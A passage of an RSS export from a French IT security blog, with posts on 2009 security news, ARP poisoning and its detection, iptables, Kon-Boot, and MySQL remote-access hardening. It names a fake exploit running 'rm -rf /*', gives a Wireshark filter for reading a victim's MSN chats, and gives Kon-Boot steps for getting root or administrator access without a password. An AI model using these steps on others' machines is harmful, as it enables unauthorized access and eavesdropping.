		<category><![CDATA[faille]]></category>
		<category><![CDATA[l0phtcrack]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[slowlaris]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195</guid>
		<description><![CDATA[Presque 3 mois sans poster, j&#8217;ai fait une petite rechute. Tiens en parlant de chute, j&#8217;ai une bonne excuse, je me suis cassé l&#8217;olécrane lors d&#8217;une ballade à vélo. Ca explique (en partie) ma non-présence sur le blog :) Cette fracture m&#8217;a encore appris plein de choses en medecine, je reste vraiment persuadé qu&#8217;il faut [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="hihi" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/07/hihi-1.jpg" width="220" height="158" /></p>
<p>Presque 3 mois sans poster, j&#8217;ai fait une petite rechute. Tiens en parlant de chute, j&#8217;ai une bonne excuse, je me suis cassé l&#8217;olécrane lors d&#8217;une ballade à vélo. Ca explique (en partie) ma non-présence sur le blog :)</p>
<p>Cette fracture m&#8217;a encore appris plein de choses en medecine, je reste vraiment persuadé qu&#8217;il faut profiter de chacune des épreuves que la vie nous envoie pour se documenter au maximum dessus. Ainsi je suis devenu expert en <a href="http://www.maitrise-orthop.com/viewPage.do?id=742" target="_blank">brochage / cerclage / haubanage</a>, <a href="http://www.vulgaris-medical.com/encyclopedie/pseudarthrose-3870.html" target="_blank">pseudarthrose</a> et plein <a href="http://books.google.fr/books?id=rocj-Jzt43kC&amp;pg=PA157&amp;lpg=PA157&amp;dq=fracture+ol%C3%A9crane+pseudarthrose&amp;source=bl&amp;ots=R9IZpgykzd&amp;sig=jUvQ8kMq_Up1o7pX8U59cywK03g&amp;hl=fr&amp;ei=f9JhSs2NIdG6jAfLhvX8Dw&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=9" target="_blank">d&#8217;autres choses amusantes</a>.</p>
<p><span id="more-195"></span>
<p>J&#8217;ai quand même gardé un oeil attentif sur l&#8217;ensemble de (belles) choses étant sorties au cours de ces trois mois. Sans être exhaustif, j&#8217;ai trouvé sympa:</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><a href="http://ha.ckers.org/blog/20090617/slowloris-http-dos/" target="_blank">Le Dos Apache Slowlaris.pl</a> qui est vaguement lié à <a href="http://blog.madpowah.org/archives/2009/06/22/index.html#e2009-06-22T00_57_24.txt">TCP Handshake flood</a>.</li>
<li><a href="http://www.milw0rm.com/exploits/8921" target="_blank">L&#8217;exploit phpmyadmin</a>, même s&#8217;il faut que l&#8217;admin ait choisi la wizard installation. Et a priori un <a href="http://www.milw0rm.com/exploits/8992" target="_blank">scanner</a> en a découlé.</li>
<li>L&#8217;énnormmmeeee foin que crée la <a href="http://isc.sans.org/diary.html?storyid=6742" target="_blank">(fake ?) hole openssh</a>. Chacun y est allé de son petit commentaire &laquo;&nbsp;Pas possible ?&nbsp;&raquo;, &laquo;&nbsp;Bruteforce ?&nbsp;&raquo;, &laquo;&nbsp;J&#8217;avais dit qu&#8217;il faut SSH par key !&nbsp;&raquo;. Ca a upgradé en cascade chez la plupart des hosteurs, y compris <a href="http://forum.ovh.com/showthread.php?t=49051" target="_blank">OVH</a>.</li>
<li>La <a href="http://www.googlebig.com/forum/careful-wordpress-all-version-xss-0day-t-18404.html" target="_blank">*faille* &lt;= 8.1 WordPress</a>. Bon il s&#8217;agit juste d&#8217;un XSS mais ca peut conduire à des attaques de phishing efficace.</li>
<li><a href="http://www.nmap.org" target="_blank">La sortie de nmap 5.0</a> qui rajoute tout plein de choses interessantes: Ncat, Ndiff, NSE. A découvrir dans la tarball.</li>
<li>La <a href="http://sqlmap.sourceforge.net/" target="_blank">RC 7 de sqlmap</a> et l&#8217;intégration de sqlmap dans la distribution debian. C&#8217;est vraiment une bonne chose.</li>
<li>Les deux failles navigateurs: <a href="http://www.milw0rm.com/exploits/9108" target="_blank">MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit</a> et <a href="http://www.milw0rm.com/exploits/9137" target="_blank">Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit</a>. Là avec du code malveillant sur un site à trafic, il y <del>avait</del> a vraiment de quoi faire mal.</li>
<li>La sortie de <a href="http://www.l0phtcrack.com/" target="_blank">l0phtcrack 6</a>.</li>
<li>Des <a href="http://www.msuiche.net/2009/06/29/security-20-is-not-even-a-failure-it-is-a-nightmare/" target="_blank">failles sur twitter</a>, et surtout, le <a href="http://www.korben.info/hack-de-twitter-la-suite.html" target="_blank">piratage de twitter</a> qui a mis le serveur de Korben sur les rotules.</li>
<li>Et j&#8217;ai gardé le meilleur pour la fin, le <a href="http://blogs.securiteam.com/index.php/archives/1302" target="_blank">fake exploit OpenOwn.c</a> (basé sur le &laquo;&nbsp;buzz&nbsp;&raquo; de la faille OpenSSH, qui fait un joli rm -rf /*.</li>
<li>Tout plein d&#8217;autres choses que je n&#8217;ai pas le courage de mettre ici :)</li>
</ul>
<p></p>
<p>Passez un bon week end :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Empecher l&#8217;arp poisoning / arp spoofing / Détecter si quelqu&#8217;un sniffe votre réseau</title>
		<link>http://www.john-jean.com/blog/securite-informatique/empecher-larp-poisoning-arp-spoofing-detecter-si-quelquun-sniffe-votre-reseau-184</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/empecher-larp-poisoning-arp-spoofing-detecter-si-quelquun-sniffe-votre-reseau-184#comments</comments>
		<pubDate>Tue, 28 Apr 2009 15:47:38 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[arp poisoning]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[snif]]></category>
		<category><![CDATA[sniffing]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/empecher-larp-poisoning-arp-spoofing-detecter-si-quelquun-sniffe-votre-reseau-184</guid>
		<description><![CDATA[Partant du postulat qu&#8217;aucun réseau n&#8217;est fiable, je suis souvent pris de crise de paranoïa. En effet, comment savoir si le Wifi sur lequel je suis connecté à l&#8217;hôtel ou dans un café n&#8217;est pas victime de sniff d&#8217;un petit bidouilleur du coin. Au final, ce schéma n&#8217;est pas si paranoïaque que cela, le bidouilleur [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="tick-icon" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/07/tick-icon-1.jpg" width="160" height="158" /></p>
<p>Partant du postulat qu&#8217;aucun réseau n&#8217;est fiable, je suis souvent pris de crise de paranoïa. En effet, comment savoir si le Wifi sur lequel je suis connecté à l&#8217;hôtel ou dans un café n&#8217;est pas victime de sniff d&#8217;un petit bidouilleur du coin. Au final, ce schéma n&#8217;est pas si paranoïaque que cela, le bidouilleur en question peut tout a fait avoir <a title="Craquer clé wep avec airodump aircrack" href="http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37" target="_blank">cracké la clé wep</a> de la connexion et sniffer tout ce qui passe sur le réseau à mon insu.</p>
<p>Je ferai prochainement un billet sur les attaques de type Man in The Middle, en attendant voici pour la théorie sur l&#8217;ARP poisoning.</p>
<p><span id="more-184"></span>
<p>Grosso modo le sniffing repose sur une faiblesse du protocole ARP. Sans entrer dans les détails, ce protocole sert à gérer l&#8217;association des adresses MAC / IP. Si vous tapez arp -a dans votre shell, vous verrez la plage ARP que votre ordinateur a en cache. Donc dans l&#8217;idée, si ce cache est vide, j&#8217;envoie une requête broadcasté pour émettre ma trame = &gt; tous les ordinateurs du réseau sont au courant de cette requête et l&#8217;ordinateur concerné me renvoie son adresse MAC; après association, ma trame est envoyée. Si j&#8217;ai déjà l&#8217;association en cache, ma trame est envoyée immédiatement.</p>
<p>L&#8217;astuce va consister à usurper une adresse IP au sein du réseau en utilisant des packets forgés. Comment cela se passe ? Si je veux sniffer ce qu&#8217;Etienne et Alix se disent, je vais envoyer à Etienne un packet avec en adresse IP source, l&#8217;ip de la machine d&#8217;Alix et l&#8217;adresse MAC de ma carte réseau. On imagine aisément la suite, j&#8217;envoie un packet à Alix avec l&#8217;adresse IP d&#8217;Etienne en source et mon adresse MAC à nouveau. Lorsque les deux vont vouloir communiquer, c&#8217;est moi qui vais recevoir les trames. Une fois que les trames arrivent chez moi, j&#8217;ai plusieurs choix: Ecouter ce qu&#8217;ils se disent (conversations MSN, Surf, etc) avec du Man in the Middle, donc rerouter les packets ensuite; paralyser le réseau en réalisant un Ddos: MITM sans relayer les packets; décider de ne pas router les packets après réception: bloquage du réseau. Ainsi je peux écouter l&#8217;intégralité des informations échangées sur le réseau où je suis.</p>
<p>Pour éviter ce type d&#8217;attaque on peut par exemple mettre des entrées statiques dans les cache ARP, mais cette méthode a ses limites: il faut un faible nombre de machines sur le réseau, et c&#8217;est biensûr impossible sur un Wifi ouvert d&#8217;hôtel. Sinon, on peut surveiller le réseau, et couper les accès aux adresses IP usurpées (Victime 1, Victime 2, Attaquant).</p>
<p>Si l&#8217;on est victime de ce type d&#8217;attaque, on peut limiter le casse: le bon usage voudrait que l&#8217;on utilise SYSTÉMATIQUEMENT des connexions en SSL pour rappatrier ses mails, se loger sur ses comptes favoris (gmail, analytics, etc), et se limiter à l&#8217;essentiel dans ce surf. Bref tout cela reste problématique et assez peu déterministe. D&#8217;autant plus que de configurer un proxy SSL pour son IM n&#8217;est pas toujours possible, et un pirate peut aisément extraire les trames spécifiques qui l&#8217;interesse. Par exemple en cas de sniffing, si sous Wireshark j&#8217;utilise: msnms contains &laquo;&nbsp;text/plain&nbsp;&raquo; &amp;&amp; ip.addr == 192.168.0.10, je pourrais lire l&#8217;intégralité des conversations msn de la victime.</p>
<p>Tout cela pour dire que j&#8217;ai trouvé un soft qui se lance au démarrage de votre machine et vous alerte en cas d&#8217;ARP Poisoning. Je ne peux plus m&#8217;en passer, ma paranoia diminue, bref tout va pour le mieux dans le meilleur des mondes.</p>
<p>Le soft en question s&#8217;appelle Xarp, <a title="Empecher sniffing réseau" href="http://www.chrismc.de/" target="_blank">téléchargeable ici</a>. Donc comme précisé, il se lance au démarrage et analyse les associations ARP, et permet de déceller si vous êtes victime d&#8217;ARP Poisoning. S&#8217;il détecte une attaque, il pop une alerte avec l&#8217;adresse IP de l&#8217;attaquant et celles des victimes.</p>
<p>Sinon si vous voulez vous la jouer un peu plus old school, vous avez <a title="Empecher arp poisoning" href="http://www-nrg.ee.lbl.gov/" target="_blank">arpwatch</a>.</p>
<p>&nbsp;</p>
<p align="center"><img alt="xarp screenshot alert" src="http://www.john-jean.com/blog/wp-content/uploads/2009/04/xarp-screenshot-alert.png" width="450" height="331" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/empecher-larp-poisoning-arp-spoofing-detecter-si-quelquun-sniffe-votre-reseau-184/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Parametrer / configurer son firewall sur Gnu/Linux avec Iptables et Netfilter</title>
		<link>http://www.john-jean.com/blog/securite-informatique/parametrer-configurer-son-firewall-sur-gnulinux-avec-iptables-et-netfilter-175</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/parametrer-configurer-son-firewall-sur-gnulinux-avec-iptables-et-netfilter-175#comments</comments>
		<pubDate>Tue, 21 Apr 2009 14:15:40 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sysadmin]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[configuration]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[netfilter]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/parametrer-configuration-son-firewall-sur-gnulinux-avec-iptablesnetfilter-175</guid>
		<description><![CDATA[La plupart des nouveaux utilisateurs de systèmes Gnu/Linux partent du postulat qu&#8217;utiliser un Linux est bien plus sûr qu&#8217;un Windows, et que de fait, il n&#8217;est pas forcément nécessaire d&#8217;avoir un firewall, ou encore de passer de temps à paramétrer son système. Ils ont évidement tort, considérer Linux comme plus secure que Windows est une [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="hoho" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/07/hoho-1.jpg" width="165" height="158" /></p>
<p>La plupart des nouveaux utilisateurs de systèmes Gnu/Linux partent du postulat qu&#8217;utiliser un Linux est bien plus sûr qu&#8217;un Windows, et que de fait, il n&#8217;est pas forcément nécessaire d&#8217;avoir un firewall, ou encore de passer de temps à paramétrer son système. Ils ont évidement tort, considérer Linux comme plus secure que Windows est une erreur, et ne pas paramétrer son OS en est une autre. Lors des audits de sécurité, c&#8217;est souvent une machine end-user du parc qui fait défaut. Il existe pourtant un module qui fournit à Linux l&#8217;intégralité des fonctions de pare-feu: Netfilter. Il intercepte et manipule les paquets IP avant et après le routage. Pour configurer Netfilter en espace utilisateur, on utilise Iptables. Nous devons souvent proposer aux administrateurs et utilisateurs une configuration d&#8217;un firewall que nous estimons saine post-audit. Ce billet reprend la plupart des informations que nous mettons en avant dans le rapport.</p>
<p><span id="more-175"></span>
<p>Afin de faciliter la lecture de cette configuration, j&#8217;ai opté pour un export html, avec quelques textareas permettant à chacun de pouvoir copier coller les parties qui l&#8217;interesse. Une fonction amusante de port knocking est expliquée en fin de document.</p>
<p><a title="Configuration d'un firewall avec NetFilter/Iptables" href="http://www.john-jean.com/blog/parametrer-configuration-firewall-linux-en-utilisant-netfilter-iptable.html" target="_blank">Configuration d&#8217;un firewall avec Iptables/Netfilter</a></p>
<p>A noter que l&#8217;auteur de la configuration initiale est Raphael Prevost, consultant sécurité au sein de <a title="Audit de sécurité informatique" href="http://www.wargan.com" target="_blank">Wargan Solutions</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/parametrer-configurer-son-firewall-sur-gnulinux-avec-iptables-et-netfilter-175/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Se logger en administrateur sur la plupart des OS en 10 secondes</title>
		<link>http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168#comments</comments>
		<pubDate>Mon, 20 Apr 2009 14:20:32 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[kon-boot]]></category>
		<category><![CDATA[ophcrack]]></category>
		<category><![CDATA[retrouver mot de passe]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168</guid>
		<description><![CDATA[Alors là y&#8217;a pas à dire, j&#8217;ai rarement fait mieux comme titre racoleur ! J&#8217;aurai du préciser qu&#8217;il faut un accès physique à la machine (en tout cas à son lecteur CD) mais ça aurait fait un titre trop long. Vous avez parfois besoin d&#8217;accéder à une machine sans en connaitre le mot de passe: [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="hoho" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/07/hoho.jpg" width="165" height="158" /></p>
<p>Alors là y&#8217;a pas à dire, j&#8217;ai rarement fait mieux comme titre racoleur ! J&#8217;aurai du préciser qu&#8217;il faut un accès physique à la machine (en tout cas à son lecteur CD) mais ça aurait fait un titre trop long. Vous avez parfois besoin d&#8217;accéder à une machine sans en connaitre le mot de passe: vous avez oublié votre mot de passe, vieille machine ressortie du grenier, maintenance, audit de sécurité, et pour certain d&#8217;entre vous, bidouilles que je ne veux pas connaitre :) Quand j&#8217;avais besoin de tripoter un Windows XP sans connaitre le password administrateur j&#8217;utilisais un Live CD de <a title="Live CD Ophcrack" href="http://ophcrack.sourceforge.net/">OphCrack</a> qui permet de cracker les hashs LM et NTLM (donc ceux de windows) à l&#8217;aide de Rainbow Tables, ou simplement en méthode bruteforce. Grosso-modo, il load les hashs de la SAM au boot et donc en extrait les passwords selon la méthode que vous avez défini.</p>
<p>Tout ça c&#8217;est révolu grâce à un développeur fou qui vient de release un programme qui permet de se logger sur l&#8217;ensemble de ces OS sans en connaitre le mot de passe administrateur (ou root pour le coup):</p>
<ul>
<li style="list-style: none"></li>
<li>Windows Server 2008 Standart SP2</li>
<li>Windows 7</li>
<li>Windows Vista Business SP0</li>
<li>Windows Vista Ultimate SP1 / SP0</li>
<li>Windows Server 2003 Enterprise</li>
<li>Windows XP SP1 / SP2 / SP3</li>
<li>Gentoo 2.6.24</li>
<li>Ubuntu 2.6.24</li>
<li>Debian 2.6.18-6</li>
<li>Fedora 2.6.25.9-76</li>
</ul>
<p></p>
<p>Le mieux c&#8217;est que cette liste n&#8217;est pas exhaustive, cela correspond simplement aux OS qu&#8217;il a testé.</p>
<p><span id="more-168"></span>
<p><a title="Kon-Boot, démarrer son OS sans en connaitre le mot de passe" href="http://www.piotrbania.com/all/kon-boot/" target="_blank">Kon-Boot</a> change le contenu du kernel de votre distrib &laquo;&nbsp;on the fly&nbsp;&raquo; (pendant le boot). Le développeur explique qu&#8217;il l&#8217;a conçu à la base pour Ubuntu à cause de ses soucis de mémoires, et qu&#8217;au fil du temps il l&#8217;a étendu, jusqu&#8217;à ce que cela devienne un vrai projet de sécu. Le soft est codé en ASM x86. Les changements à la volée du noyau Linux ou Windows ne produit évidement aucun changement physique, tout est fait virtuellement.</p>
<p>Comment ça marche ?</p>
<p>Il vous suffit de récupérer l&#8217;archive suivante: <a title="Télécharger / Download Kon boot" href="http://www.john-jean.com/blog/wp-content/uploads/2009/04/CD-konboot-v1.1-2in1.zip" target="_blank">télécharger kon boot</a>, ou <a href="http://www.piotrbania.com/all/kon-boot/data/CD-konboot-v1.1-2in1.zip" target="_blank">ici</a>, et de graver l&#8217;ISO pour en réaliser un CD amorcable. Ensuite vous démarrez votre machine en bootant sur le CD. Sous Windows la seule chose que vous ayez à faire c&#8217;est de taper un mot de passe quelconque à la place de celui demandé, et vous arriverez sur le bureau comme un utilisateur correctement authentifié.</p>
<p>Concernant les autres distribs, vous bootez sur le CD également, puis vous laissez votre OS démarrer. Quand ce dernier vous demande votre login vous saisissez &laquo;&nbsp;kon-usr&nbsp;&raquo;, si cela marche vous devez arriver loggé sur l&#8217;OS. Pour restaurer le système lorsque vous vous déloggez, il suffit juste d&#8217;utiliser &laquo;&nbsp;kon-fix&nbsp;&raquo;. Petit exemple pratique:<br />
<code><br />
Ubuntu 8.04 torpeda tty1<br />
torpeda login: kon-usr<br />
# id<br />
uid=0(root) gid=0(root)<br />
# whoami<br />
root<br /></code></p>
<p>Sinon:<br />
<code><br />
torpeda login: kon-usr<br />
/bin/sh: Can't open kon-usr<br />
FIX: type 'kon-fix' as login<br /></code></p>
<p>Pour ceux qui ont du mal à graver l&#8217;iso à l&#8217;aide de softs traditionnels type Nero, vous pouvez (et devez) télécharger <a title="Iso Burner" href="http://www.ntfs.com/iso-burning.htm">Iso Burner</a>. Si votre antivirus râle, le site de l&#8217;auteur dit que c&#8217;est un fait connu, mais que ce soft n&#8217;est évidement en rien un virus.</p>
<p>Voila avec cette méthode vous pouvez <a title="Retrouver mot de passe windows xp" href="http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168" target="_blank">retrouver votre mot de passe Windows XP</a>, <a title="Retrouver mot de passe root linux" href="http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168" target="_blank">retrouver votre mot de passe root pour Ubuntu</a>. Ce petit soft va vraiment faire beaucoup de bruit, simplicité, aucune modification et pour ma part, du jamais vu. Généralement c&#8217;est du bruteforce ou autre, mais pas du bypass ainsi sans aucune modification système.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/se-logger-en-administrateur-sur-la-plupart-des-os-sans-en-connaitre-le-mot-de-passe-168/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Comment rendre Mysql accessible depuis l&#8217;extérieur ? &#8230;</title>
		<link>http://www.john-jean.com/blog/securite-informatique/comment-rendre-mysql-accessible-depuis-lexterieur-102</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/comment-rendre-mysql-accessible-depuis-lexterieur-102#comments</comments>
		<pubDate>Fri, 26 Dec 2008 21:09:38 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sysadmin]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[3306]]></category>
		<category><![CDATA[accès]]></category>
		<category><![CDATA[connexion]]></category>
		<category><![CDATA[distant]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=102</guid>
		<description><![CDATA[&#8230; Et si possible avec une gestion des accès utilisateurs cohérente. Voici une question qui revient souvent et pour laquelle certains webmasters sont un peu perdus. En effet, pour des raisons de sécurité évidente, Mysql n&#8217;autorise par défaut pas les connexions distantes. Ce billet s&#8217;adresse donc aux personnes ayant plusieurs machines / serveurs à disposition [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.john-jean.com/mysql_logo.jpg" alt="Logo Mysql" /> &#8230; Et si possible avec une gestion des accès utilisateurs cohérente. Voici une question qui revient souvent et pour laquelle certains webmasters sont un peu perdus. En effet, pour des raisons de sécurité évidente, Mysql n&#8217;autorise par défaut pas les connexions distantes. Ce billet s&#8217;adresse donc aux personnes ayant plusieurs machines / serveurs à disposition et souhaitant rendre Mysql contactable à distance sur le 3306. Le but est donc d&#8217;avoir un serveur Mysql central, sur lequel plusieurs autres serveurs pourront venir chercher les informations dont ils ont besoin. Plusieurs raisons: méthode de sécurisation (!), authentification unifiée, besoin d&#8217;un serveur robuste pour un site, etc&#8230;</p>
<p><span id="more-102"></span></p>
<p>Bien, donc imaginons que vous avez développé www.example.com. Vous avez aussi historiquement une dizaine de sites, example1.com, example2.com, example3.com et ainsi de suite. Vous souhaitez pouvoir gérer les accès aux répertoires /admin/ par le biais d&#8217;un login unifié par Mysql; Comprendre: déployer le même htaccess partout qui permet de checker dans une db si tel utilisateur a accès à tel site ou pas.  Au delà du fait que vous allez avoir besoin de <a href="http://modauthmysql.sourceforge.net/" target="_blank">mod_auth_mysql</a>, il vous faut un serveur Mysql dans lequel l&#8217;ensemble des htaccess iront taper pour savoir si les utilisateurs peuvent se loger ou non. Autre exemple, example.com prend de l&#8217;ampleur, les requêtes SQL sont déjà optimisées mais elles mettent cependant le serveur sur les rotules tellement il y a de visiteurs sur le site, même chose, besoin d&#8217;un serveur Mysql à distance (je n&#8217;entend pas troller ici sur l&#8217;affinage des requêtes, l&#8217;optimisation hardware, etc ;) ).</p>
<p>Donc, comment permettons nous à Mysql d&#8217;écouter à distance ? C&#8217;est en réalité assez simple, mais comme ce n&#8217;est pas si évident que cela de retrouver sur google comment faire dans une seul document, je fais ce billet qui tente de condenser l&#8217;information.</p>
<p>La première chose à faire est d&#8217;aller modifier votre /etc/mysql/my.cnf afin de commenter la ligne suivante:</p>
<pre class="code">bind-address           = 127.0.0.1 devient donc
#bind-address           = 127.0.0.1</pre>
<p>Vous devez ensuite, comme d&#8217;habitude, redémarrer mysql:</p>
<pre class="code">[john@coincoin:~]# /etc/init.d/mysql restart
Stopping MySQL database server: mysqld.
Starting MySQL database server: mysqld.</pre>
<p>Vous venez d&#8217;enlever l&#8217;écoute locale du serveur Mysql. Désormais, vous pouvez créer vos utilisateurs. Et c&#8217;est ici qu&#8217;il faut être vigilant, si je reprend l&#8217;exemple d&#8217;avant (example2.com, example3.com, etc), potentiellement nous avons besoin qu&#8217;un utilisateur Mysql soit crée afin d&#8217;accéder aux informations. Mais ce n&#8217;est pas parce que 10 serveurs peuvent avoir besoin de contacter notre serveur Mysql que cet utilisateur doit avoir les droits %. Il convient de gérer précisement les autorisations de chaque utilisateur. Même si la solution de facilité souvent employée par les webmasters est de mettre en droit &laquo;&nbsp;%&nbsp;&raquo; (le % est une wildcard qui permet à l&#8217;utilisateur Mysql de se connecter depuis n&#8217;importe où), en cas de faille de type Injection Mysql, c&#8217;est la porte ouverte à n&#8217;importe qui pour collecter les informations (alors que de devoir faire relai sur le serveur qui possède la faille est beaucoup plus rébarbatif).</p>
<p>Donc pour résumer, ce qu&#8217;il ne faut pas faire:</p>
<pre class="code">CREATE USER 'example'@'%' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'%' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;
CREATE DATABASE IF NOT EXISTS `example` ;
GRANT ALL PRIVILEGES ON `example` . * TO 'example'@'%';</pre>
<p>Là, vous créez un utilisateur qui peut se connecter de n&#8217;importe ou. Par contre si example.com est hébergé sur 80.80.80.80, voici ce qu&#8217;il convient mieux de faire:</p>
<pre class="code">CREATE USER 'example'@'88.80.80.80' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'88.80.80.80' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR
0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;
CREATE DATABASE IF NOT EXISTS `example` ;
GRANT ALL PRIVILEGES ON `example` . * TO 'example'@'88.80.80.80;</pre>
<p>Dans le cas où vous hébergez un site sur le serveur Mysql directement, et que vous n&#8217;avez pas besoin de contacter à distance pour l&#8217;utilisateur Mysql, vous pouvez mettre directement localhost, autant être logique. Et si d&#8217;aventure, vous n&#8217;avez pas envie de granter les accès immédiatement:</p>
<pre class="code">CREATE USER 'example'@'localhost' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'localhost' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;</pre>
<p>Malgré tout cela, Ca ne marche pas ?!<br />
Il n&#8217;est pas impossible que <a href="http://www.netfilter.org/" target="_blank">IPTABLES </a>rejette les connexions entrantes, vous devez donc autoriser les serveurs distants à vous contacter, là encore c&#8217;est comme le % ou l&#8217;IP directement, il y a deux écoles. Soit c&#8217;est Open-bar:</p>
<pre class="code">/sbin/iptables -A INPUT -i eth0 -p tcp --destination-port 3306 -j ACCEPT</pre>
<p>Soit on met l&#8217;adresse IP du serveur qui peut venir taper sur le 3306:</p>
<pre class="code">/sbin/iptables -A INPUT -i eth0 -s 80.80.80.80 -p tcp --destination-port 3306 -j ACCEPT</pre>
<p>N.B:  Rendre vos bases de données accessibles depuis l&#8217;extérieur n&#8217;est pas synonyme de faiblesse de sécurité si les choses sont bien faites. Pour résumer:</p>
<ul>
<li>On commente bind-adress dans /etc/mysql/my.cnf</li>
<li>On crée les utilisateurs avec les droits NECESSAIRES, pas plus. Autrement dit, on autorise depuis l&#8217;adresse IP d&#8217;où ils contactent et jamais depuis partout (%). Si l&#8217;utilisateur est local, on ne l&#8217;authentifie que depuis localhost.</li>
<li>On crée des règles iptables pour autoriser les serveurs qui ont le droit de rentrer, pas pour tout le monde (-s 80.80.80.80).</li>
</ul>
<p>Bonnes bidouilles.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/comment-rendre-mysql-accessible-depuis-lexterieur-102/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Faille dans la création d&#8217;un .htaccess</title>
		<link>http://www.john-jean.com/blog/securite-informatique/faille-dans-la-creation-dun-htaccess-89</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/faille-dans-la-creation-dun-htaccess-89#comments</comments>
		<pubDate>Mon, 22 Dec 2008 22:45:50 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[403]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[htpasswd]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=89</guid>
		<description><![CDATA[Toujours lors de nos audits de sécurité, une faille qui revient très régulièrement est la mauvaise configuration d&#8217;une protection par le biais d&#8217;un htaccess. La plupart des administrateurs ou webmasters fouinent sur le net afin de créer leur .htaccess, et de fait, se retrouvent avec des choses dont ils n&#8217;ont pas réellement besoin, ou en [...]]]></description>
